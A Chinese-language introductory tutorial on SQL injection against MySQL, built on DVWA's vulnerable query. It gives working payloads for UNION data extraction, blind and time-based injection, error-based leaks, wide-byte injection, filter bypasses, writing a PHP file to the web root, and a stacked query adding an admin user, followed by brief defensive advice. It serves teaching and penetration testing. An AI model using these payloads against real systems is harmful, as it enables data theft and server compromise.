Web安全之SQL注入初探
0x00 SQL注入介绍
SQL注入攻击是最为常见的Web安全漏洞之一,常年霸占OWASP第一名,可见其危害十分大。
SQL注入是由于过滤不严,将构造的SQL语句插入或添加到应用(用户)的输入参数中,从而可以非法执行数据库命令的攻击,可以获取网站数据,严重的会直接控制服务器。
0x01 SQL注入原理
本篇文章就MySQL为例,其他数据库在这里就不做扩展了。所以说学习注入,首先要学好数据库语言。
我们来看DVWA中,SQL注入漏洞的关键代码$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' ";
这里是连接数据库的,在数据库执行的查询语句,我们构造参数插入SQL语句。
例如?id=1' or 1=1 --
语句就变成了$query = "SELECT first_name, last_name FROM users WHERE user_id = '1' or 1=1 -- ' ";
成功插入了 or 1=1,这样就会查询users表里所有的name
0x02 SQL注入技巧
注释
注释在SQL注入中是必不可少的,它可以帮助构造SQL语句,包括
行间注释:
--
(注意前后有空格)#
行内注释:
/*注释内容*/
在空格被过滤时,可以利用其替换空格/*!注释内容*/
可以利用其测试数据库版本
编码
ASCII()
返回字符的ASCII码值CHAR()
把整数转化为对应字符HEX() UNHEX()
16进制编码解码
常用方法
USER()
当前数据库用户database()
当前数据库名version()
数据库版本@@datadir
数据库存储数据路径@@global.version_complie_os FROM mysql.user
操作系统版本concat()
连接多条数据group_concat()
与concat()类似load_file()
读取文件substr() mid() substring()
截取字段information_scheam
MySQL自带的数据库,包含其他所有数据库信息
绕过
为了保证安全性,防止SQL注入发生,程序员会做一些代码层的防护,比如过滤参数。然而有些过滤是可以进行绕过的,例如
- 空格被过滤,可以利用
+
,()
,/**/
绕过 - 单引号被过滤,可以对数据进行编码
- 查询语句被过滤,可以利用大写,或者
selselectect
尝试绕过 - 用
||
,&&
代替and
,or
- 字符串黑名单,可以利用
concat('a','d','m','i','n')
绕过
除此之外还有很多
0x03 SQL注入方法
判断注入点
在注入开始之前,需要先判断注入点存在。找到网站与数据库连接的地方,例如用户登录,信息搜索等。在参数后加'
,and 1=1
,and 1=2
等进行测试
一般注入
判断返回字段个数order by 2 --
查询当前数据库名及数据库版本and 1=2 UNION SELECT database(),version() --
查询数据库and 1=2 UNION SELECT 1,schema_name FROM information_schema.schemata --
查询表and 1=2 UNION SELECT 1,table_name FROM information_scheam.tables WHERE table_schema=数据库名的十六进制编码 --
查询列and 1=2 UNION SELECT 1,column_name FROM information_schema.columns WHERE table_name=表名的十六进制编码 --
查询字段and 1=2 UNION SELECT 1,字段 FROM 表名 --
判断是否具有读写权限and (select count(*) from mysql.user)>0/*
写文件union select 1,char(xx,xx,xx) into outfile '/var/www/html/1.php'/*
布尔盲注
在不返回字段 没有回显时,需要用到盲注
猜解数据库长度and length(database())>1 #
写脚本fuzz数据库名and substr(database(),%d,1)='%s' %%23
过滤了单引号的话可以使用ascii()and ascii(substr(database(),%d,1)=%d %%23)
利用正则REGEXP1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);
接下来查询表,字段结合一般注入,方法相同
时间盲注
利用函数将返回时间延迟,从而得知语句查询是否正确
sleep()延时if(ascii(substr(database(),1,1))>115,0,sleep(5)) #
benchmark()延时,是将后面的函数执行多次,比较占用CPU,进行测试时不推荐用这种方法UNION SELECT IF(SUBSTRING(Password,1,1)=’a’,BENCHMARK(100000,SHA1(1)) User,Password FROM mysql.user WHERE User = 'root'
报错注入
通过构造使信息从错误提示中回显
利用floor()select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a
对xml数据进行查询和修改的xpath函数,xpath语法错误updatexml(1,concat(0x3a,(select user())),1)
利用extractvalue()extractvalue(1,concat(0x7e,(select @@version),0x7e))
报错函数,可以利用他们获取数据库名和表名
https://dev.mysql.com/doc/refman/5.7/en/gis-mysql-specific-functions.html
宽字节注入
如果php设置了编码mysql_query("set NAMES'gbk'",$conn);
就会引发宽字节注入,例如 %df'
会被addslashes()转义为 %df\'
url编码后为%df%5c%27
在gbk编码下认为其是一个宽字节 縗’
就会产生注入
PDO堆查询注入
如果php使用PDO连接数据库,便可以使用堆查询,可以同时执行多个语句SELECT * FROM Users WHERE ID=1 AND 1=0; INSERT INTO Users(username,password,priv) VALUES ('xxx', '123456','admin');
还有其他注入这里就不一一列举了。上述提到的注入,也有很多不同的方法,因为现实环境、代码的不同,注入语句也不尽相同。
0x04 SQL注入常用工具
- sqlmap,自动化注入,自带很多绕过脚本,家常必备神器。
- burpsuit,不多说了。
- hackbar,Firefox插件,post注入很好用。
- Pangolin,SQL注入漏洞测试安全工具。
0x05 SQL注入防护
既然SQL注入影响这么大,那么我们如何防护呢?
- 定期进行代码审计,从根本上面解决SQL注入攻击。
- 一切的用户输入都是有害的,对用户的输入进行严格过滤。
- 使用SQL注入防护软件防护。
- 针对企业推荐使用硬件防火墙。